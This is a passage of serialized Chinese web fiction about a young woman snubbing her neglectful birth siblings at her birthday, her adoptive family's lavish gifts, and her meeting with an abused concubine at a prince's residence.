“怎么样?喜欢吧,你们女孩儿家,也就爱这些东西了。”沈今安撇嘴。
沈宁川温柔笑,“快,打开看看,在尝尝点心,都是我们特意给你挑的,包你喜欢!”
“吃了用了,就别在哥哥们闹脾气了。”
“好不好?”
霜云喜欢哪些胭脂水粉,爱吃什么口味的点心,他们不知道,想来应该跟婉音一样。
毕竟……
小时候,她还偷吃过婉音的点心,被娘骂了呢。
沈霜云冷冷凝视,看着他们自说自话,缓缓启唇,“你们……真是来给我送生辰礼,不是来挑衅找事的吗?”
“啊?”
沈家四兄妹一怔。
沈婉音率先开口,“大姐姐,你这是什么意思?我们好心好意来送礼,还送错了不成?”
“霜云,你别做得太过了。”
沈墨言拧眉教训。
“大妹妹,是不喜欢这些礼物吗?”沈宁川忙道。
沈今安冷声,“给你买就不错了,还挑?”
“我对桃花过敏。”沈霜云冷声。
九件礼物,七件带桃花,是怕毒不死她吗?
她跟沈霜云是一天生日,但无论前世还是今日,沈家人从来没有替她庆祝过。
每每生辰,都婉音万众瞩目,收下珍贵礼物,她在旁,像个小丫鬟一样伺候着。
“你们不会忘了吗?我十岁那年,你们带婉音去桃花坡,给她祈福,带我跟着服侍,把我忘在别庄,锁了院子,两天没回来,我饿得不行,吃了你们给婉音买的桃花糕,差点过敏**。”
“娘还怪我偷婉音的点心,打了我耳光。”
“不记得了?”
沈家兄妹愕然,面面相觑,一时说不出话来。
半晌,沈宁川尴尬笑着,打个哈哈,想含混过去,“那个,这,这不是忘了吗?时间太长了。”
“嗯,我们也是好心……”
然而,话音未落,沈霜云蓦然冷下脸,挥手直接把案上的‘九件’全部打翻。
啪!
“啦哗~”
胭脂官粉落地,瓷瓶子摔得粉碎。
碎瓷片迸溅起来,最大的一片,直接打到沈今安的眼睑上。
“哎啊!!”
他捂脸痛呼。
眼泪都掉下来了。
“沈霜云,你干什么?”沈墨言厉声,想骂她‘太不懂事了。’
可话没出口,就被沈霜云打断,“你们今天来,我看不是送礼的,反而是来挑衅的。”
“我不招待恶客。”
“你们滚吧。”
说罢,毫不犹豫,转身就走。
沈家兄妹懵了
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,捂脸跳脚的沈今安,也停止哀嚎。
他们面面相觑。
沉默不语。
半晌……
“这,这,大哥,咱们真的走吗?”沈婉音小声,怯怯地问。
她感觉哥哥们的情绪不对。
“走?走什么?”沈今安双眼通红,咬牙切齿,“咱们今日来,已经是给沈霜云脸了,她嘴上说得狠,心里不知道多高兴。”
“也就是礼物挑错了,她又闹上脾气而已。”
“哄两句,为了二哥,再哄两句,我就当花楼里哄**了。”
“三弟,你怎么说话的!”沈墨言训他,片刻,又叹道:“唉,霜云啊,真是太作了,咱们都低三下四,给她买礼物了,就算买错了,也是咱们的心意。”
“怎么还挑三捡四地。”
“居然给砸了,三十多两呢。”
他当侍卫的月俸,才五两而已。
沈墨言心疼不已。
“唉,为了我的事,真是委屈你们了,尤其是婉音,好好地来讲和,居然受了冷言。”
沈宁川拧眉,怜惜道:“二哥真是对不起你。”
“没关系啦,以后二哥拜了名师,中了状元,好好疼婉音,那婉音做什么都值得的。”
沈婉音心里的气没消,面上却做出懂事模样。
她知道哥哥们不开心,自然不会任性。
几人……
我一言,我一语,厚着脸无视沈霜云的赶客,桃心地催促,硬生生留在镇国公府。
就是不走。
桃心身为丫鬟,也没法赶他们,只好无视,让他们坐在小书房里,不上茶,不上点心。
就那么板板坐着。
一待就是两个时辰。
到了晚膳时间。
正院,谢夫人得了丫鬟禀告,也真是无言以对,有心撕破脸皮,亲自出面把他们轰走,免得霜云难做。
偏偏,裴照野得着消息,阻止了她。
“那些大傻子,送了点破烂东西,当狗头金似的,想让我大姐姐领情?”
“他们也配?”
“让他们进来,陪咱们用个晚膳,我去找二哥,好好羞臊羞臊他们,让他们知道知道,什么国公府的千金小姐!”
第73章 让你们长长见识,我国公府的姑娘有多尊贵
裴照野是有小脾气的。
谢夫人就他一个儿子,平日里也纵容他,见他被沈家兄妹气得小脸儿通红。
又口口声声要给大姐姐出气。
谢夫人也心疼霜云,稍稍想了想,便同意了。
裴照野蹦蹦跳跳,去到问道阁,把埋首案卷里的裴九卿揪出来,跟他‘叽叽喳喳’,“……就是这么事儿,我好气我好气。”
“二哥哥帮我,我要把沈家那群傻货的脸皮都扒下来。”
裴九卿艳丽容颜‘狰狞’。
沈霜云是他妹妹啊,老三老四欺负他,那是自己弟弟,也没办法,只能忍着,沈家兄妹算什么臭番茄,烂鸟蛋?
“走走走!”
裴九卿推倒卷宗,气势汹汹。
——
小书房里。
沈家四兄妹已经坐了四个时辰的冷板凳了。
他们是上午来的,彼时,丫鬟给他们了些点心和清茶,只是碍着面子,谁都没用。
全等着沈霜云求他们陪着用午膳,兄妹和好呢。
结果……
沈霜云翻脸赶客,他们赖着不走,桃心桃核没法轰他们,但心里厌恶他们对小姐不好。
茶水和点心,全撤了。
午膳自然也没准备。
沈家兄妹从白天等到天黑,胃里饿得难受,最后,沈今安没办法,把沈霜云砸到地上的桃花糕点捡起来。
“她用着过敏,是她没福气。”
“咱们吃。”
“婉音不是爱这个吗?”
他把糕点分成四份,刻意给婉音留了大地。
他、大哥和二哥都只有两块,就婉音有四块。
瞧瞧,他多疼妹妹,谁敢说他不好!
“三哥,你,你自己吃吧,我不要。”
都扔到地上的,狗都不吃,怎么能给她?
沈婉音嫌弃得不行。
沈今安颇为受伤,他饿得不行,一份都能吃了,分出最多的给妹妹,是他疼婉音,怎么能嫌弃?
他脾气也不好,当场就想发作,然而,外间,正院大丫鬟半月突然进门,高高昂头。
用一副‘公府丫鬟七品官儿,尔等小民皆是粪土’的神情,轻蔑地道:“几位公子小姐,天色已晚,你们既然硬要留下了,我们也不能白着你们。”
“我家夫人有请,让你们前去正院用膳。”
平时,半月很是谦和有礼,绝不高傲的。
但……
大姑娘温和谦逊,从不对她摆架子。
沈家人欺负大姑娘,她当然也要尽己所能,替大姑娘出气。
“哎,来了来了,我就说嘛,霜云怎么可能离得了我们?她那么虚荣的人,咱们上门给她送礼,她不晓得多高兴,肯定要跟镇国公府的人显摆!”
沈今安瞬间忘了生气,扬扬得意地道:“看看,这不是来请咱们了吗?”
“真的是,呵呵,装什么?”
沈墨言也是叹气,无可奈何地道:“霜云啊,我都不知道说她什么好了,回到镇国公府,添了这么多的臭毛病。”
“罢了罢了,谁让咱们是当哥哥的,只好纵容她,去用晚膳时,在哄她几句吧,把她的虚荣心满足了,她也就不闹了,届时,二弟,你的事儿,她自会屁颠屁颠,跑前跑后。”
“这么多年,不都如此吗?”
“那是自然。”沈宁川也觉得理所当然。
沈婉音不屑轻蔑的笑容。
默默听了全程的半月:……
这帮人是聋子吗?她明明说的是‘夫人有请’,全程哪里提大姑娘半个字了?
自说自话什么?
又得意扬扬什么?
有病啊!!
她要不是个丫鬟,身份实在不对!
她,她就要骂人了。
——
正院。
谢夫人罕见的冷着脸儿,拧眉坐在上首。
沈霜云坐在她旁边。
裴九卿和裴照野分坐两边。
裴寂之出城找裴临渊去了,不在府中,至于裴寒声,裴照野怕他碍事儿,影响自己发挥。
特意求母亲,没让他过来请安。
谢夫人:……
从善如流。
几人坐在主桌。
沈家四兄妹也到了,只是他们不配坐主桌,半月领着下人支了个小炕桌儿。
四个人坐在那儿。
半月上了膳食。
沈今安饿坏了,谢夫人刚动了筷子,他就‘吭哧吭哧’地吃上了,把裴照野想说的话,都堵在喉咙里。
这,这是野猪投胎啊!!
裴照野咬牙。
沈婉
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音和沈宁川羞得不行,深深觉得三哥/三弟太丢人了。
他们偷偷拽沈今安的衣角,让他收敛点。
倒是沈墨言,拧眉盯着沈霜云,一脸不赞同的教训,“霜云,离开咱们才几个月,你哪里沾上的臭毛病?”
“服侍嫡母,陪嫡母用膳,怎么能安稳坐着?快快站起来,替谢夫人布菜,伺候她碗碟!”
“这才是你该做的!”
主桌上,裴家人同时停筷。
沈霜云微微挑眉,嗤笑出声。
半月:……
停下布菜的手,瞪目而视。
大姑娘布菜?她干什么?
“霜云,没听见我说话,大哥哥教训你,不受训是吗?”沈墨言竖起眼珠,猛然起身。
霜云已经邀请他们,服软和好了。
他就有义务教育妹妹的礼仪规矩。
“你闭嘴,你家姑娘是奴才秧子,要站着布菜伺候,我管不着,我姐姐是千金贵女,镇国公府的掌上明珠。”
“布菜?伺候?”
“沈婉音怎么不站起来啊?”
裴照野猛然拍桌子,横眉立目。
圆圆的包子脸儿,都鼓起来了。
沈墨言瞠目结舌。
沈婉音委屈巴巴,“跟我有什么关系?我,我从小到大,都没给人布过菜啊!”
“我才不用伺候人。”
“你都不用,我妹妹更不用,我家的女儿,天生有人伺候,一脚迈,八脚抬。”裴九卿冷声。
谢夫人更是直接表态,“沈大公子,我府中家教如何,用不着你来提点。”
“霜云是我的女儿,我觉得她‘淑良贤德’,四美俱全,天下没有她这么好的孩子。”
“我当母亲的,都舍不得说她一句,你……”
她上下打量。
那意思就是:你算老几?敢当着我的面儿说她。
“这,这,我明明是在替你们说话。”沈墨言脸色胀得像猪肝一样。
“显得你了?”裴照野嗤声,翻了白眼,“沈墨言,沈宁川,沈今安,你们口口声声,教导我大姐姐,替她着想,是疼爱她,那,又送了她什么破烂东西?”
“生辰礼?呸,来人啊,端上来,让沈家公子们开开眼,什么叫真正的生辰礼!!”
第74章 裴二哥哥害羞了~
裴照野小手一拍。
外间,半月领着八个下人,齐刷刷走进来。
她们每个人手里,都捧着一个紫金木的檀子。
雕龙刻凤,花样精致。
单这些匣子,都能值个三、五十两。
“小爷送大姐姐的‘包装’,都比你们那些破胭脂值钱,也舔脸拿得出手!”
裴照野哼声。
纨绔小爷的劲儿,拿的足足的。
平时里,最注重儿子教养的谢夫人,冷眼旁观。
不曾阻止。
裴九卿抱着膀儿翻白眼。
半月拍手,八个婢女一一上前。
打头一个,行至桌前,把匣子放开打开,把礼物捧到沈霜云面前。
她道:“五少爷贺大姑娘芳辰,赠累金丝嵌宝牡丹凤纹步摇”。
牡丹乃花中之王。
凤凰是百鸟之冠。
沈家人嫌弃沈霜云样样不如沈婉音,裴照野就赠她牡丹凤凰。
她说完退下。
第二个婢女,捧着礼物上前,接着道:“五少爷贺大姑娘归家之喜,赠错离金螭龙纹端砚。”
沈宁川说沈霜云文采不好,裴照野就送她珍贵端砚。
文才不好,沈霜云用的东西,也要比沈婉音强上千倍百倍。
剩下六个婢女继续唱名。
“五少爷贺大姑娘芳辰,赠羊脂白玉雕莲花玉佩。”
“五少爷驾姐弟同心,赠赤金绞丝镶东珠手镯。”
“五少爷驾大姑娘总展欢颜,赠碧玺雕蝶恋花嵌宝臂钏。”
“五少爷祝大姑娘永远貌美,赠紫晶雕仙鹤纹配件。”
“五少爷贺大姑娘灿如明珠,赠点翠嵌珍珠头面一套。”
“五少爷祝大姑娘四季皆顺,赠白玉嵌红宝项圈。”
八人语出,跪下叩首,齐声出说:“祝大姑娘一生平安顺遂,事事如意。”
八样贺礼。
样样珍贵,其中两个,甚至是庆元帝御赐的供品。
沈霜云收的满捧满怀。
沈家四兄妹看的瞠目结舌。
裴照野得意的不行,高高昂着下巴,“怎么样?看见没有,这才是我们国公府大姑娘的排面。”
“你们!”
“不行!!”
“我大姐姐在你们家,受尽委屈,她人好心善,没责怪你们,你们还有脸来找茬,简直臭不要脸,不配为人。”
他简直明目仗胆地骂人。
但……
沈墨言完全听不见了,他们的一双眼睛,全扎在那些礼物上。
“谢,谢夫人,你儿子疯了,沈霜云只是个女子啊,赔钱货而已,他,他居然送这么多珍贵的物件,给她什么!!”
她能用得了吗?
这么多珍贵之物,要是落到自己手里,随便卖上几件,就够给他运作个一等侍卫!
甚至当官的了。
“这,这的确太贵重了。”沈宁川也思索着,怎么把这些东西,从沈霜云手里哄过来。
有了钱!
还怕拜不着好师傅吗?
沈婉音却是泪光盈盈,前世,她的生日,裴照野可是什么都没送她,反而在她向谢氏讨要礼物时,抓了蛇来吓她。
怎么换成沈霜云就不一样了。
呜呜呜,裴照野,简直过分,太欺负她了。
“沈大公子,你家的女儿,是不是赔钱货,本夫人不管,但我家霜云,却是掌上明珠,是我府里的瑰宝,照野送的这点东西算什么?”
“不过日常穿戴罢了,哪里珍贵了?”谢夫人冷眼,轻蔑地道:“区区小孩子间的玩闹罢了。”
“我这个当母亲的,还没送呢。”
“霜云。”
她回眸,目光变得温柔,“你是后日的生辰,我本打算那天送你贺礼,但今日,照野既然开了先河,我也就不留着了。”
“我做主!”
“从我嫁妆里分出两间辅子,一个田庄,五百亩良田,归到你的名下。”
“你也不小了,又跟我学了管家,那辅子田庄,就当给你练手了。”
谢夫人轻描淡写。
送了沈霜云上万两银子。
京城的铺子,京郊的良田,有钱都难买啊。
“哎哟,母亲和五弟出手都么大,我这个小‘穷’官,倒有点相形见绌了,但是,妹妹归家,第一个生辰,怎么也不能空着手。”
裴九卿咂咂嘴,故作叹息道:“这样吧,女孩儿家爱打扮,我就把‘花想容’送你了。”
“你对桃花过敏是吧。”
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“日后,‘花想容’不在出售跟桃花相关的胭脂水粉。”
镇国公裴府——富豪。
千金傍身,行止随心。
先白夫人和谢夫人,都善经营,裴国公在外打仗,也是——金银随便捞,裴家五兄弟,包括裴照野在内,都富得流油。
‘花想容’仅是裴九卿名下产业的九牛一毛而已。
裴家贺生辰的大手笔,衬的沈家四兄妹寒酸小气。
沈墨言送胭脂水粉,口口声声:价值三十两,无比珍贵。
裴九卿送整个胭脂辅子。
沈今安给桃花糕点,抠抠巴巴,让沈霜云领人情!
裴夫人送辅子田庄,几百良田。
裴照野送六件奇珍,两件御赐供品。
沈宁川和沈婉音,就出了两张臭嘴。
沈家四兄妹眼睛都红了,在不敢言语。
一顿晚膳用完。
他们灰溜溜地走了。
沈霜云推辞,“母亲,二哥,五弟,你们替我挣脸面,给我出气,我是晓得的,如今事情已了。”
“收回去吧。”
“太贵重了。”
这,这满满的匣子,一张张地契,田契。
她怎么好收?
加起来好几万两啊,她救了老皇帝的命,都没得这么多赏赐。
“不要不要,这是特意给你挑的。”裴照野连声,怕被硬推,转身就跑。
裴九卿撇嘴,没好气道:“沈霜云,你把我当成什么了?送出的东西往回收,那跟拉出的屎往回坐,有什么区别!”
“我又不沈家那群傻货。”
“九卿,说什么呢。”谢夫人失笑斥他,又转头温声,“霜云,给你的就拿着,别觉得尊贵。”
“世间在贵的物件,贵不过你去。”
“这些年,你漂泊在外受了苦,咱们都没给你贺过生辰,这次,就当全补上了。”
“可是……”沈霜云咬唇。
“别可是了,我忙着呢,走了。”裴九卿像不适应这样温馨的场面,转身就走。
沈霜云追了两步,高声道:“二哥哥,谢谢你的礼物,我很喜欢!”
“肉麻肉麻。”裴九卿粗声,走得更快。
但耳后,却是一片通红。
第75章 前往晋王府看纳妾啦~
裴九卿和裴照野怕沈霜云推辞,早早跑了。
谢夫人帮她把礼物整理好,派了丫鬟送她。
沈霜云带着八个匣子,几叠地契,往降云阁回,路过花园时。
突地……
沈墨言从角落窜出来,一把握住她的手腕,“霜云,等你半天了,你总算出来了。”
沈霜云:???
吓得猛然挥袖,脱口而出,“你们怎么还没走?”
“大姑娘,沈家三位公子,一位姑娘,离开正院后,老奴想引他们出府,偏偏,咳咳,沈姑娘行至花园,看见玉盏台,说要赏花~”
正院的徐嬷嬷冷着脸。
上次百花宴,裴寒声寻来的天下奇花,准备‘棒杀’沈霜云,结果没成功,花儿倒是留下,被谢夫人布置成玉盏台,成了国公府一景。
“好了,霜云,说那个干什么?今日我们来找你的目的,尚未得成,怎么能离开?”
沈墨言沉声,双眼贪婪地盯着那些匣子,心里琢磨怎么弄到手,口中却道:“我们啊,是不如国公府富裕,但金钱哪有真情重要。”
“霜云,我们是你的亲哥哥,十几年的相处,跟别个不同。”
“对啊,二哥也相信,我们霜云不是那么嫌贫爱富的人。”沈宁川低声,刻意道:“你肯定更看重心意。”
“九件礼物,七件会让我过敏的心意吗?”沈霜云回神,毫不犹豫地讽刺。
沈宁川噎声。
沈婉音见状,赶紧开口,“大姐,你怎么总是这样?笨嘴拙腮,开口噎人,从来不给人留脸面。”
“哥哥们是笨手笨脚的大男人,哪有那么多细腻心思,一时忽略也是有的,这时,我们女儿家就要‘难得糊涂’,要体贴他们,给他们脸面。”
“这样的话,才是好女孩儿,才会被喜欢!”
她仰着脸儿,得意的施恩教导,“大姐姐,这可是我这些年,得宠的秘诀,现在都教给你了。”
“你也该明白,我们有多真心了吧。”
“那是你,你要靠讨好男人活着,自然要学得卑微,但我不用。”沈霜云冷笑。
觉得沈婉音不知所谓。
她侧头,目光扫过一排一排礼物,“我,有闲有钱,有庄子有铺子,还有御赐大宅,有既真心对我,又肯替我花心思,赠厚礼的亲人。”
“我自尊贵,无需卑微。”
“倒是你……”
她抿唇,“明日,你就要入晋王府,做侍妾了,这样作派也好,半个奴婢服侍主母,自甘**是必须的。”
前世,这样的话,沈婉音不知道对她说了多少遍,如今,她终于能原样不动的还回去了。
虽然……
感觉不够大度,但不得不承认,确实是舒爽的。
人啊,一旦刻薄起来,心情都变好了。
沈霜云莞然一笑。
沈婉音眼圈却红了。
沈墨言脸色一变,想要斥她,沈霜云却已经不耐烦,今日被他们纠缠得够久了。
“天色已晚,我不留你们。”
“这回,徐嬷嬷,桃心,你们亲自把沈家人送出去!”
她指着徐嬷嬷。
“是!”
徐嬷嬷也是咬牙切齿。
当了这么多年正院‘副管事’,头回送客送不走的,还打扰了姑娘!
真真气**。
她摩拳擦掌,唤来好几个家丁丫鬟,挟着沈家兄妹的胳膊,把他们往出轰。
“哎,哎,霜云,我话没说完呢。”
沈宁川叫嚷。
他还没说拜师的事。
沈霜云却已头都不回,大步离去。
——
沈宛四兄妹被名为‘请’,实则‘轰’的,离开了镇国公府。
都没让他们走侧门,直接从角门轰出去的。
站在府门外,看着高高的府墙,沈墨言瞠目结舌。
他很不高兴。
上门讨好沈霜云,他都低三下四,主动买礼物了,依然被撅了面子,二弟的事没办成,霜云得的那些好东西,他都没来得及开口要。
婉音又被骂哭了。
还有他的三十两银子!
浪费了。
他做东暖阁侍卫,一个月的月钱才十两,还要打点同事上官!
真是事事不顺心。
“到底是谁提出来,要跟霜云服软这个烂主意?那死丫头,不见棺材不落泪,真被镇国
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公府的惯坏了。”
沈婉音抿唇,委屈巴巴,“大哥,是,是我的错,我没想到姐姐变了那么多。”
沈墨言噎声,尴尬不止。
他忘了,主意是婉音出了。
“婉音,跟你有什么关系?全是沈霜云不识好歹,真是给脸不要脸,哼,这回咱们示弱,她不珍惜,以后,休想要咱们回心转意。”
沈今安冷声,气恼不止,回身对关门的徐嬷嬷嚷嚷,“那老太婆,你回云告诉沈霜云,这回她伤透了我们的心。”
“我们这些当哥哥的,再不会纵容,随意原谅她。”
“我会禀告父母,要是不想让娘亲上门教训她,哼,你就让她把今日收的礼物,全都送到沈府我院里。”
“否则,我饶不了她。”
徐嬷嬷:……
背景一僵,强忍着回头骂他的冲动,快步离去。
——
被驱赶的沈家四兄妹,紧赶慢赶,在宵禁未开前,狼狈回到沈府。
沈**特意请来的妆娘,早早到了,沈婉音回府后,都没来得及坐下,便被揪住开始梳头化妆。
周氏还请了京城最有名的楚馆——仙雅居的花魁,秘密入府。
婉音……
虽然受世子爷看重,未来会得高位,定然尊贵,可如今的份位,就是个侍妾。
侍室嘛,不用管家,不用贤良,会伺候男人就行了。
花魁是最懂男人的。
沈婉音开始接受‘床上教导’,她也认真学。
倒是放下了在镇国公府受的**,真心觉得,进得晋王府后,一切都会变好。
那可是未来的太子爷,是下任皇帝。
这个高枝儿,她攀上了,什么‘铺子地契’?‘金银首饰’,她自然会有。
御赐之物算什么?
她当了皇后,她就是那个真正的御驾,沈霜云丢了西瓜捧芝麻,早晚会后悔的。
沈婉音学了一夜,不曾合眼。
沈霜云却是一夜好眠,次日醒来,天光大亮,桃心桃核服侍她洗漱换衣,前往正院,陪谢夫人用过早膳后。
裴九卿和裴照野来了。
两人陪她出发,前往晋王府。
第76章 你想离开晋王府吗?
楚清晏和沈婉音的婚事……
呃!
不不不。
纳个妾而已,不能称做婚事,只道‘好事’吧,因着实不值一提,晋王府也未广邀宾客。
仅是王府诸人的亲戚……
自家人聚一聚罢了。
晋王和晋王妃的亲朋好友都没来,纳妾不够格儿,到是世子妃史氏的娘家兄弟,前科探花史宏飞到了。
另外世子几个侧妃娘家也出了人。
至于沈婉音的娘家人……
仅有沈霜云一个,包带裴家公子两人。
沈**夫妻和沈家三兄弟,别看忙活得那么热闹,却不能来观礼。
侍妾的娘家,不算亲戚。
沈霜云:……
她算是楚清晏邀请来的客人。
——
晋王府门外,沈家夫妻,加上三兄弟站在墙角,仰头望着高高的王府院墙。
心里,很不是滋味。
而此时,王府中门大开,镇国公府的马车驶进内里,直至二门。
马车缓缓停下。
沈霜云掀开车帘。
裴九卿和裴照野一左一右,让她搭着手臂下车。
楚清晏很给面子,亲自来迎接他们。
“裴大人,许久不见,小王真是盼望!”
他垂眸,矜持地向裴九卿打了个招呼,旋即,又展开笑颜,别有深意的望向沈霜云。
声音粘着暧昩,他把语调含在喉间,低吟道:“沈~姑~娘,小王恭候你的大驾多时!”
“姑娘玉足临寒舍,真是让晋王府蓬荜生辉。”
“小王欣喜不已!”
“世子客气了。”
沈霜云攒眉,强忍恶心。
“小王言语,全然出自真心!”楚清晏弯眉。
眼神炙热。
裴九卿咧嘴,觉得楚清晏简直虚伪恶心得让人想吐,“小王爷今日纳妾之喜,裴某恭贺,不知王爷王妃在何处?”
“我等当前往拜见~”
他不想让妹妹被这家伙纠缠了。
辣眼睛。
“裴大人……”楚清晏的炙热眼神,不情不愿地转向裴九卿,瞳里带着一丝不耐。
裴九卿当真不识趣儿。
不过……
罢了,霜云尚未入府,到也不好太过。
楚清晏收回视线,笑着把人迎进内院,又令丫鬟侍妾陪她。
他已决定,史氏死后,会迎娶霜云,做为未来的世子妃,内院主母。
他的侍妾伺候着,也是应当之义,也是让今生的霜云见识一番,他的风流!
女人啊,不能像史氏般善妒,霜云前世做的就很好,体贴入微,温柔如水,今生嘛……
到是显得傲气了些。
楚清晏留下几个侍妾招待她,旋即,就被早有不满的裴九卿揪走了。
裴九卿想得很好。
楚清晏是个变态,妹妹跟他待在一块不安全,那他揪着楚清晏,一直跟着他不就成了。
楚清晏只是变态,又不会分身,跟他在一块儿,自然就没法去纠缠大妹妹了。
有照野陪着,万无一身。
裴九卿也算是‘舍身’成仁了。
——
纳妾宴,办得确实不大。
仅是开了晋王府的小花园,支了几桌儿而已。
楚清晏带着男宾,在前头饮酒。
沈霜云和裴照野被请到后面,由楚清晏的几个侧妃招待……
晋王妃不晓为何,没有出现。
不过,今日前来的女眷,本就没多少,算上沈霜云和裴照野,也才十来人而已,侧妃周氏,宋氏,乔氏,三人足够招待。
沈霜云看前世‘对手’,对她笑语盈盈,口口声声,“沈大姑娘……”
心里颇为感慨。
女眷们谈笑风生,这个聊聊‘胭脂口脂’,那个谈谈‘衣裳首饰’,气氛也是热闹和谐。
唯一一个因为年纪,没法混到男宾堆儿里的裴照野,心中抱着保护大姐姐的念头,一点不适应的感觉都没有。
大马金刀地坐在那儿,埋头苦吃。
不理会‘小姐姐’们的逗弄。
眼里全是好吃的。
沈霜云宠溺地揉了揉他的头,眼神,若有深意的看向一直跟在她身边,贴身服侍她的女人。
“我准备洗漱一番,烦姑娘带走!”
那意思,她想如厕。
“沈姑娘请随奴婢来~”
那女人榻着腰,眉眼低垂,萎萎缩缩的怯声。
沈霜云起身跟着她走。
两人一前一后,向不远处的厢房而去。
沿路途中,沈霜云一直看着她,她没想到,自己会那么‘幸运’,来至晋王府的第一个目地,直接走到她眼前。
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>楚清晏安排来服侍她的,眼前这个女人,就是许老将军的侄孙女,前世她在晋王府的第一个朋友许惠儿。
她……
今年刚刚二十岁,入晋王府已有六年,算是侍妾里伺候楚清晏最久的~
一般侍妾,没两年就折磨**。
许惠儿没死的原因……
不是她身体格外健康。
也不是她精通察言观色,能察觉楚清晏的喜怒哀乐,谨慎躲避。
更不是她能说会道,讨了府里女主子们的欢心。
她能活,纯粹是有人暗中帮忙,那个人,前世也跟沈霜云相识,算是她的……
敌人?
也不算。
朋友?
绝不是。
勉强称得上似敌似友吧,反正,沈霜云给楚清晏下的绝育药,是通过那人的手的。
今生,沈霜云不准备深入晋王府这个烂摊子,也不想在跟那人相识,她只关心她想关心的。
两人来到厢房,许惠儿低眉顺眼,极为卑微地想要服侍沈霜云,替她解腰带。
衣袖微展,晧白腕子上,显出了触目惊心的血痕。
一条条儿,一道道,深入骨肉,鲜血淋漓。
小半条胳膊上,竟没一处好肉皮。
沈霜云的视线凝视上去。
许惠儿注意到了,神情惶恐,忙伸手去遮。
沈霜云没阻止她,仅是攒眉。
“姑,姑娘……”许惠儿张嘴想解释,只说了两个字,便又闭嘴,她不晓得要怎么说。
就觉得眼睛一阵阵的酸。
她们这些后院侍妾们,已经习惯了彼此的伤口和狼狈,都不觉得如何了,可眼前白璧无瑕的沈姑娘,镇国公府的千金小姐,无意撞见,怕是会吓着吧。
好像今日入门的那个沈侍妾,就是沈姑娘的亲妹妹,她,她要提醒一下吗?
许惠儿启唇想说,又哑口无言。
纳妾礼都办了,提醒又如何?也阻止不了沈侍妾入府,提出这些解决不了的麻烦,反而到让厌恶。
而且,沈侍妾,虽然没认回去,听说也是镇国公府的姑娘,大概会像几位侧妃娘娘一样。
不受折磨吧。
许惠儿怔怔想。
沈霜云注视着她麻木脸庞里,仅有一点灵慧的眼神,突然问她,“你想离开晋王府吗?”
第77章 我喜欢你,还来不及
“啊?”
许惠儿茫然,侧目看过来,“您,您……”
“刚刚是您说话吗?”
她听错了吧。
昨天被打的太厉害,开始幻听了,要不然,怎么会有千金小姐,问她想不想离开?
一般贵女看见她的伤,不都是惊恐、怜惜、厌恶、嫌弃吗?
怎么不一样啊?
“你没听错,是我说的。”
前世跟许惠儿相伴几年,沈霜云看她神情,就知道她所想为何,“我是问你,想不想离开楚清晏,离开晋王府,开始新的生活……”
“新生活?”
“我吗?”许惠儿茫然的指向自己,“怎么可能?”
“我一个孤女,入府六年,**契都要世子妃手里呢~”
“我哪有机会离开?”
世子爷的侍妾,想离府,只有**,被一卷草席裹着扔到乱葬岗去。
“我愿意帮你,我就有了。”沈霜云抿唇。
许惠儿是许老将军的侄孙女。
走失的!
许老将出身不高,乃是边关军户,因勇冠三军,被先帝看中,召到身边做了金吾卫,后征战杀场,几历危险,方才成就当朝名将。
威赫一时。
但他也有一桩伤心事,就是边关老家被匈奴攻破,全族被屠,仅有几个侥幸逃脱的。
许惠儿的亲娘,就是其中之一。
只是,她运气不好,逃出时身受重伤,刚到边城就**,彼时,九岁的许惠儿流落在外,被人牙子抓住,又发了高烧,醒来后忘却前尘。
她被人牙子卖了。
辗转几番,来到晋王府做奴婢,又被楚清晏看中,成为侍妾。
前世,沈霜云成为侧妃,出府交际时,遇见许老夫人,知晓这件旧事,拿到一件信物,帮许惠儿订亲。
也以此,替沈墨言拜师,助他为将。
想想都亏。
沈霜云看着许惠儿,目光从她苍白惊愕的脸下滑,落到她颈间佩戴的一枚小鸟形状的石头上。
嗯。
果然在。
她微微点头。
那边,许惠儿回过神了,却仍然不敢相信,“姑娘为何要帮我?”
“你就当我看不惯楚清晏吧,想给他找些麻烦吧。”
沈霜云淡声。
许惠儿沉默。
这些日子,世子爷召她侍寝时,的确偶尔会提起沈姑娘的名字,而且,她这般的侍妾,从不被世子爷当人看。
世子爷有什么事,到也不会刻意瞒她们。
世子妃快不行了,王爷和王妃正在琢磨世子爷继室的人选,难道是这位沈姑娘?
她不愿意!
想到这儿,许惠儿突然苦笑。
世子爷那种人,哪个正常人愿意嫁?
“我,我多谢姑娘怜惜,只是离开,离开……”
许惠儿犹豫着。
她进王府太久了,也被折磨太久,鸟儿在笼子里待惯了,反而会害怕自己,况且,沈姑娘要怎么帮她?
要是世子爷知道了,会不会连累人家?
还有一直帮她的二姑娘……
许惠儿迟疑,沈霜云见状,想要劝她,然而,尚未开口,外间,突然传来一阵女子张扬的笑声。
“哈哈哈哈,惠儿,你把沈妹妹带到哪儿去了?怎么这长时间都不来?”
“可别是掉马桶里了……”
许惠儿和沈霜云同时回头。
就见随着笑声而来的,是一个十七、八岁的姑娘,她身材高桃,相貌英气,俊眼修眉,顾盼神飞。
穿着张扬的红衣,大步来到两人跟前,一把握住许惠儿的手,连声问道:“好惠儿,你怎么了?脸儿这么白?”
“二姑娘,我,我没事。”
许惠儿被握住伤口,眼里浮出抹痛来,又立刻掩盖,怕‘二姑娘’难过。
“没事就好。”二姑娘摸着她的手,撒娇道:“好惠儿,你不知道我多怕你出事,没了你,我吃饭不香,睡觉不稳,可太不适应了。”
“昨儿大哥找你,我怕的一晚上没睡觉呢。”
许惠儿闻言,一下心疼了,“不睡觉怎么成?身子受得了吗?不行快回去补眠吧。”
“没事没事,我年轻着呢,偶尔造作点不要紧。”二姑娘嘻笑。
不晓为何,感觉……
十分豪迈。
沈霜云不言不语,静静看着。
那两人互相关心完了,二姑娘转头,笑眯眯的
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瞧沈霜云,上前来拉她的手。
“这位就是沈妹妹对吧?果然跟我大哥说的一模一样,又文静又漂亮,比我强上几百倍。”
“我一见了就喜欢……”
她极为热情。
沈霜云却攒眉,眼底流出抹寒色,后退一步,避开她的手,颇为冷淡的问,“这位是……”
二姑娘一怔,眼里浮出抹玩味。
许惠儿没看见,忙道:“沈姑娘,这位是我们府里的湘雅二姑娘,乃是李侧妃娘娘所生,世子爷的亲妹妹,性子热情善良,惯来最照顾我们的。”
“哦,原来是二姑娘~”
沈霜云垂眸低唤。
不甚热情。
“哎呀呀,是不是我把沈妹妹吓着了?哈哈哈哈,好妹妹,你别见怪,我这个人啊,就是这样的,像个狗儿似的,看见喜欢的人就想往上扑,我没恶意的,就是一见你喜欢。”
楚湘雅像是察觉了,沈霜云对楚清晏的不喜,没在提他一句。
